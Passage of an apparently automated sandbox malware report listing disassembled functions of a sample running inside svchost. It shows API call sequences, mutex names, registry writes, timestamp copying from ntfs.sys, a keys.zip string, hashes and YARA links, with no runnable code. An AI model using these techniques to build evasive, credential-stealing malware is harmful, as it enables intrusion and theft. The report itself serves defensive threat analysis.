                                                                                                                                                                                                            • API ID: BackslashHandleMutexPath$CloseCreateInformationReleaseSleep
                                                                                                                                                                                                            • String ID: 82c31cf4$Local\{EAF7722F-8989-4fe1-977D-95CD777C0214}$P0#v$keys.zip$path.txt
                                                                                                                                                                                                            • API String ID: 3621236684-1746767206
                                                                                                                                                                                                            • Opcode ID: 6662977885a8421e18f6af644ab4a01a33225e6860766ebb42bd12c63e0eec3a
                                                                                                                                                                                                            • Instruction ID: 68b0bd38cb0a6921277f2db676b60a575a159409839778f83137e24ce36cf823
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 6662977885a8421e18f6af644ab4a01a33225e6860766ebb42bd12c63e0eec3a
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 1A41E8319445DA5FDB17CB28982C7E6BBE5AF89300F1886D9DCC9DB201DB718A48C791
                                                                                                                                                                                                            Function 02C93840 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 68memorylibraryloaderCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                              • Part of subcall function 02C76570: CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000,?,?,?,?,?,02C86BCC,?,00000000), ref: 02C76596
                                                                                                                                                                                                              • Part of subcall function 02C76570: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,?,02C86BCC,?,00000000), ref: 02C765B7
                                                                                                                                                                                                              • Part of subcall function 02C76570: GetProcessHeap.KERNEL32(00000008,?,?,?,?,?,?,02C86BCC,?,00000000), ref: 02C765DD
                                                                                                                                                                                                              • Part of subcall function 02C76570: RtlAllocateHeap.NTDLL(00000000,?,?,?,?,?,02C86BCC,?,00000000), ref: 02C765E4
                                                                                                                                                                                                              • Part of subcall function 02C76570: memset.MSVCRT ref: 02C765F4
                                                                                                                                                                                                              • Part of subcall function 02C76570: ReadFile.KERNEL32(00000000,00000000,?,00000000,00000000,?,?,?,?,?,02C86BCC,?), ref: 02C76616
                                                                                                                                                                                                              • Part of subcall function 02C76570: GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,02C86BCC,?), ref: 02C76622
                                                                                                                                                                                                              • Part of subcall function 02C76570: HeapValidate.KERNEL32(00000000,?,?,?,?,?,02C86BCC,?), ref: 02C76629
                                                                                                                                                                                                              • Part of subcall function 02C76570: GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,02C86BCC,?), ref: 02C76636
                                                                                                                                                                                                              • Part of subcall function 02C76570: HeapFree.KERNEL32(00000000,?,?,?,?,?,02C86BCC,?), ref: 02C7663D
                                                                                                                                                                                                              • Part of subcall function 02C76570: GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C7665D
                                                                                                                                                                                                              • Part of subcall function 02C76570: CloseHandle.KERNEL32(00000000), ref: 02C7666E
                                                                                                                                                                                                              • Part of subcall function 02C76570: IsBadWritePtr.KERNEL32(?,00000004), ref: 02C7667E
                                                                                                                                                                                                            • RtlImageNtHeader.NTDLL(00000000), ref: 02C9386E
                                                                                                                                                                                                            • GetTickCount.KERNEL32 ref: 02C93882
                                                                                                                                                                                                            • GetModuleHandleA.KERNEL32(ntdll.dll,?,?,02C84480), ref: 02C93893
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,RtlUniform), ref: 02C938A3
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,?,?,02C84480), ref: 02C938E0
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000,?,?,02C84480), ref: 02C938E3
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,?,?,02C84480), ref: 02C938F0
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000,?,?,02C84480), ref: 02C938F3
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$Process$FileHandle$FreeValidate$AddressAllocateCloseCountCreateHeaderImageInformationModuleProcReadSizeTickWritememset
                                                                                                                                                                                                            • String ID: RtlUniform$ntdll.dll
                                                                                                                                                                                                            • API String ID: 1403775172-3277137149
                                                                                                                                                                                                            • Opcode ID: 0f724954e1104db53d25ed058d3cccfce3948f48a115a77b501287c6e6e1cb74
                                                                                                                                                                                                            • Instruction ID: 0ccaee5bb5eef121bf02499105de3754658da8f2b413a91fad157d137fb16431
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 0f724954e1104db53d25ed058d3cccfce3948f48a115a77b501287c6e6e1cb74
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 7311B631E842916FEB169BB5DC0DF9BBBACEF84751F0446A5F905D3280DB34D610CAA1
                                                                                                                                                                                                            Function 02C8EAD0 Relevance: 17.5, APIs: 8, Strings: 2, Instructions: 47COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • FindWindowW.USER32(SunAwtFrame,02CB83E0), ref: 02C8EAE1
                                                                                                                                                                                                            • FindWindowW.USER32(SunAwtFrame,02CB8418), ref: 02C8EAF1
                                                                                                                                                                                                            • FindWindowW.USER32(SunAwtFrame,02CB8448), ref: 02C8EB01
                                                                                                                                                                                                            • FindWindowW.USER32(SunAwtFrame,02CB8468), ref: 02C8EB11
                                                                                                                                                                                                            • FindWindowW.USER32(SunAwtDialog,02CB83E0), ref: 02C8EB21
                                                                                                                                                                                                            • FindWindowW.USER32(SunAwtDialog,02CB8418), ref: 02C8EB31
                                                                                                                                                                                                            • FindWindowW.USER32(SunAwtDialog,02CB8448), ref: 02C8EB41
                                                                                                                                                                                                            • FindWindowW.USER32(SunAwtDialog,02CB8468), ref: 02C8EB51
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: FindWindow
                                                                                                                                                                                                            • String ID: SunAwtDialog$SunAwtFrame
                                                                                                                                                                                                            • API String ID: 134000473-1757792087
                                                                                                                                                                                                            • Opcode ID: b201d23f41094976b1edccc0699267d55eb7bd535f81bef550611750ab442811
                                                                                                                                                                                                            • Instruction ID: 9fae9017ba22f8d1d135ea2ad7290c95713231852abeed899d7bb493b7186d8a
                                                                                                                                                                                                            • Opcode Fuzzy Hash: b201d23f41094976b1edccc0699267d55eb7bd535f81bef550611750ab442811
                                                                                                                                                                                                            • Instruction Fuzzy Hash: B1F00D257C532665762232692D32FEA0B8C5D91D8EF058271BA17A3008E6A095424CF9
                                                                                                                                                                                                            Function 02C8A318 Relevance: 17.5, APIs: 6, Strings: 4, Instructions: 30sleepsynchronizationCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • OpenMutexA.KERNEL32(00100000,00000000,Local\{BE3C9D87-B91F-4e47-8B00-69798A04C732}), ref: 02C8A32C
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02C8A335
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02C8A349
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C8A35B
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82c3181f), ref: 02C8A366
                                                                                                                                                                                                            • Sleep.KERNEL32(00009C40,82c3181f,ALPHA), ref: 02C8A380
                                                                                                                                                                                                            • Sleep.KERNEL32(00000064), ref: 02C8A386
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: HandleMutexSleep$BackslashCloseInformationOpenPathRelease
                                                                                                                                                                                                            • String ID: 82c3181f$ALPHA$Local\{BE3C9D87-B91F-4e47-8B00-69798A04C732}$P0#v
                                                                                                                                                                                                            • API String ID: 4280258085-3298862243
                                                                                                                                                                                                            • Opcode ID: 7614bdbaed2c3d353d408fa2d3712f5e85987458b25ca0920f5b06845d17d4d4
                                                                                                                                                                                                            • Instruction ID: de14a1f6760cce9f69a8307fc09907b038dd5766c2de6a09dfb1e88f9bf87ab6
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 7614bdbaed2c3d353d408fa2d3712f5e85987458b25ca0920f5b06845d17d4d4
                                                                                                                                                                                                            • Instruction Fuzzy Hash: FCF0A7319C47906AF7237B619C0EB5A77DC7F89B19F008519F94A93180D7B4C5048B67
                                                                                                                                                                                                            Function 02C918E8 Relevance: 17.5, APIs: 6, Strings: 4, Instructions: 30sleepsynchronizationCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • OpenMutexA.KERNEL32(00100000,00000000,Local\{EAF777FF-8989-4fe1-9A0D-95CD777C0214}), ref: 02C918FC
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02C91905
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02C91919
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C9192B
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82C31CB5), ref: 02C91936
                                                                                                                                                                                                            • Sleep.KERNEL32(00009C40,82C31CB5,RFK), ref: 02C91950
                                                                                                                                                                                                            • Sleep.KERNEL32(00000064), ref: 02C91956
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: HandleMutexSleep$BackslashCloseInformationOpenPathRelease
                                                                                                                                                                                                            • String ID: 82C31CB5$Local\{EAF777FF-8989-4fe1-9A0D-95CD777C0214}$P0#v$RFK
                                                                                                                                                                                                            • API String ID: 4280258085-134197944
                                                                                                                                                                                                            • Opcode ID: 7d62ca8156109f4692c760b78fded2693496623159fffe5dc9672ef756f99eff
                                                                                                                                                                                                            • Instruction ID: 004c4aa86e14d2b73aa9941bbbb29204516ae7021b9d9f6747053e188e05d585
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 7d62ca8156109f4692c760b78fded2693496623159fffe5dc9672ef756f99eff
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 14F082309C83926EF6225B619C2EF5E37DD6F45B09F098568F90AA2140D7F081158B67
                                                                                                                                                                                                            Function 02C8E8A8 Relevance: 17.5, APIs: 6, Strings: 4, Instructions: 30sleepsynchronizationCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • OpenMutexA.KERNEL32(00100000,00000000,Local\{EAF7eaFF-8989-4fe1-9A0D-95CD777C0214}), ref: 02C8E8BC
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02C8E8C5
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02C8E8D9
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C8E8EB
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82c319a5), ref: 02C8E8F6
                                                                                                                                                                                                            • Sleep.KERNEL32(00009C40,82c319a5,HANDY), ref: 02C8E910
                                                                                                                                                                                                            • Sleep.KERNEL32(00000064), ref: 02C8E916
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: HandleMutexSleep$BackslashCloseInformationOpenPathRelease
                                                                                                                                                                                                            • String ID: 82c319a5$HANDY$Local\{EAF7eaFF-8989-4fe1-9A0D-95CD777C0214}$P0#v
                                                                                                                                                                                                            • API String ID: 4280258085-4110396391
                                                                                                                                                                                                            • Opcode ID: d9c0ffe1b21f23b5c948dd390bc40a336df9ccfcf61badfca65350155e741a86
                                                                                                                                                                                                            • Instruction ID: 50f4a4625df6a55b3e4d748a1960cbe6f7a8e024a5b950663cb031bbaddc7270
                                                                                                                                                                                                            • Opcode Fuzzy Hash: d9c0ffe1b21f23b5c948dd390bc40a336df9ccfcf61badfca65350155e741a86
                                                                                                                                                                                                            • Instruction Fuzzy Hash: BEF082309C43516AF362AB608C0EB5E37DC6F49B0DF048554F906A2081DBB481108B6B
                                                                                                                                                                                                            Function 02C7F0C0 Relevance: 16.6, APIs: 11, Instructions: 115memorynetworkCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C7F114
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?,?,?,?), ref: 02C7F12C
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02C7F12F
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?), ref: 02C7F13C
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02C7F13F
                                                                                                                                                                                                            • InternetQueryOptionA.WININET(?,00000022,00000000,-02CBD804), ref: 02C7F15C
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,00000014), ref: 02C7F179
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000), ref: 02C7F180
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C7F190
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C7F1D5
                                                                                                                                                                                                            • memcpy.MSVCRT(?,00000000,?,?,00000000,?), ref: 02C7F1E9
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$Processmemset$AllocFreeInternetOptionQueryValidatememcpy
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 3911349929-0
                                                                                                                                                                                                            • Opcode ID: 3b47ffc03df7bccae93ebc883bf1e46a15468ce7319b93bfc744b909056eae01
                                                                                                                                                                                                            • Instruction ID: 7350d4f0af38a8bac6b638da8aa0a5de28e76fc12fb81255f84488d85783ebeb
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 3b47ffc03df7bccae93ebc883bf1e46a15468ce7319b93bfc744b909056eae01
                                                                                                                                                                                                            • Instruction Fuzzy Hash: C1418E72A40305AFDB21DFA8DC84F5AB7F8EF84710F008959E94697680DB71EA14CBE0
                                                                                                                                                                                                            Function 02C7E2E0 Relevance: 16.5, APIs: 13, Instructions: 218memoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,?,-0597B008,00000000,00000000,?,?,?,?), ref: 02C7E324
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000), ref: 02C7E32B
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C7E33B
                                                                                                                                                                                                            • memcpy.MSVCRT(00000000,?,?,00000000,00000000,?), ref: 02C7E346
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(?,00000000,00000000,?,?,02CB36B4,?,02CB3DE4,-0597B008,00000000,00000000,?), ref: 02C7E40E
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02C7E415
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(?,00000000), ref: 02C7E421
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02C7E428
                                                                                                                                                                                                            • memcpy.MSVCRT(?,00000000,?,?,?,?,?,02CB3DE4,-0597B008,00000000,00000000,?), ref: 02C7E44E
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,-0597B008,00000000,00000000,?,?,?,?), ref: 02C7E47A
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02C7E47D
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C7E48A
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02C7E48D
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$Process$FreeValidatememcpy$Allocmemset
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 1948005343-0
                                                                                                                                                                                                            • Opcode ID: a40c66fdaf0112aab8bbe067be471c51554bc826174dd919857f03d9f0225b0f
                                                                                                                                                                                                            • Instruction ID: 81e6e9af924028ffee4f43b75ffaa7436fad0c47c8715583036e619129a02199
                                                                                                                                                                                                            • Opcode Fuzzy Hash: a40c66fdaf0112aab8bbe067be471c51554bc826174dd919857f03d9f0225b0f
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 5261A673B002199BDB11DF99D884AAAB7A9FF88714F0486A5FD0997340D771EE11CBE0
                                                                                                                                                                                                            Function 02C76B50 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 124registrymemoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C76B83
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C76B9B
                                                                                                                                                                                                            • RegOpenKeyExA.ADVAPI32(00000001,software\microsoft,00000000,00000101,?,?,?,?,?,?,7622F380), ref: 02C76BBC
                                                                                                                                                                                                            • RegQueryValueExA.ADVAPI32(?,00000104,00000000,00000001,?,00000104,?,?,?,?,?,7622F380), ref: 02C76BE2
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,?,?,?,?,?,?,?,?,?,7622F380), ref: 02C76C6D
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,7622F380), ref: 02C76C74
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C76C83
                                                                                                                                                                                                            • RegCloseKey.ADVAPI32(?,?,?,?,?,?,7622F380), ref: 02C76CB3
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: memset$Heap$AllocCloseOpenProcessQueryValue
                                                                                                                                                                                                            • String ID: software\microsoft
                                                                                                                                                                                                            • API String ID: 4158279268-3673152959
                                                                                                                                                                                                            • Opcode ID: 90201f7ca9359d800aed87972a28eb2b708b985beff4ee246ce9ad195b8c8ef2
                                                                                                                                                                                                            • Instruction ID: f00bfaf2064b4f9c923215d3669394f2093518c029f08b413f135ced1ddba1f1
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 90201f7ca9359d800aed87972a28eb2b708b985beff4ee246ce9ad195b8c8ef2
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 77410571E4055DAFEB15DB749C88AEAB7ADEF98304F1045A8E549D7140E3708F498BA0
                                                                                                                                                                                                            Function 004013C0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 93processstringCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 004013D8
                                                                                                                                                                                                            • memset.MSVCRT ref: 004013FE
                                                                                                                                                                                                            • lstrcpynA.KERNEL32(?,00402BDF,00000104,?,?,?,00000000,00000000,00000000), ref: 00401416
                                                                                                                                                                                                            • CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000,00000000), ref: 00401439
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(?,00402BDF,?,?,?,00000000,00000000,00000000), ref: 0040145A
                                                                                                                                                                                                            • CloseHandle.KERNEL32(?,?,?,?,00000000,00000000,00000000), ref: 00401467
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(?,00402BDF,?,?,?,00000000,00000000,00000000), ref: 0040147E
                                                                                                                                                                                                            • CloseHandle.KERNEL32(?,?,?,?,00000000,00000000,00000000), ref: 0040148B
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3375821338.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3375821338.000000000045B000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_400000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Handle$CloseInformationmemset$CreateProcesslstrcpyn
                                                                                                                                                                                                            • String ID: D
                                                                                                                                                                                                            • API String ID: 2248944234-2746444292
                                                                                                                                                                                                            • Opcode ID: c48a064c7529e876acfcd4e90bb1c684e8bfef1ce1d99d06041c7af5d8c72a1f
                                                                                                                                                                                                            • Instruction ID: 09676c1f46593a06cd44afd8140421a4ba04e6465ccbd83babddadcd264a60ad
                                                                                                                                                                                                            • Opcode Fuzzy Hash: c48a064c7529e876acfcd4e90bb1c684e8bfef1ce1d99d06041c7af5d8c72a1f
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 862165B1A002196FDB10DFE4DD85AEF7BBCAB44354F00817AFA08F6291D6349A448BB5
                                                                                                                                                                                                            Function 00401B60 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 76filetimeCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • CreateFileA.KERNEL32(\\?\globalroot\systemroot\system32\drivers\ntfs.sys,80000000,00000003,00000000,00000003,00000080,00000000,00000000,00000000,?,?,?,?,?,00402B87,?), ref: 00401B85
                                                                                                                                                                                                            • GetFileTime.KERNEL32(00000000,?,?,00402B87,?,?,?,?,?,00402B87,?,?,?), ref: 00401B9F
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000,?,?,?,?,?,00402B87,?), ref: 00401BB5
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000,?,?,?,?,?,00402B87,?), ref: 00401BC6
                                                                                                                                                                                                            • CreateFileA.KERNEL32(00000000,C0000000,00000003,00000000,00000003,00000080,00000000,?,?,?,?,?,00402B87,?), ref: 00401BE2
                                                                                                                                                                                                            • SetFileTime.KERNEL32(00000000,?,?,00402B87,?,?,?,?,?,00402B87,?), ref: 00401BF8
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000,?,?,?,?,?,00402B87,?), ref: 00401C0E
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000,?,?,?,?,?,00402B87,?), ref: 00401C1F
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            • \\?\globalroot\systemroot\system32\drivers\ntfs.sys, xrefs: 00401B80
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3375821338.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3375821338.000000000045B000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_400000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: FileHandle$CloseCreateInformationTime
                                                                                                                                                                                                            • String ID: \\?\globalroot\systemroot\system32\drivers\ntfs.sys
                                                                                                                                                                                                            • API String ID: 1046229350-2760794270
                                                                                                                                                                                                            • Opcode ID: a3513c22781d9b883142d906c5a388a7ca545872d8ccd4c85f932c2de55d5d3d
                                                                                                                                                                                                            • Instruction ID: 5c288fe5b10a83830543158496eb663db1d1ba801f64cc380cadfe311b19cddd
                                                                                                                                                                                                            • Opcode Fuzzy Hash: a3513c22781d9b883142d906c5a388a7ca545872d8ccd4c85f932c2de55d5d3d
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 3721D7725402187BE7219B90DD09FEFBB7CAF84710F108225FF11761D0E774964586A8
                                                                                                                                                                                                            Function 02C823A0 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 39registryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02C823A7
                                                                                                                                                                                                            • GetTickCount.KERNEL32 ref: 02C823B9
                                                                                                                                                                                                            • RegOpenKeyExA.ADVAPI32(user!899552!E7E3D226,software\microsoft,00000000,00000102,02C84A6F,?,02C84A6F), ref: 02C823D3
                                                                                                                                                                                                            • RegSetValueExA.ADVAPI32(02C84A6F,7D2DE753a,00000000,00000004,00000004,00000004,02C84A6F), ref: 02C823F0
                                                                                                                                                                                                            • RegFlushKey.ADVAPI32(?), ref: 02C823FA
                                                                                                                                                                                                            • RegCloseKey.ADVAPI32(?), ref: 02C82404
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
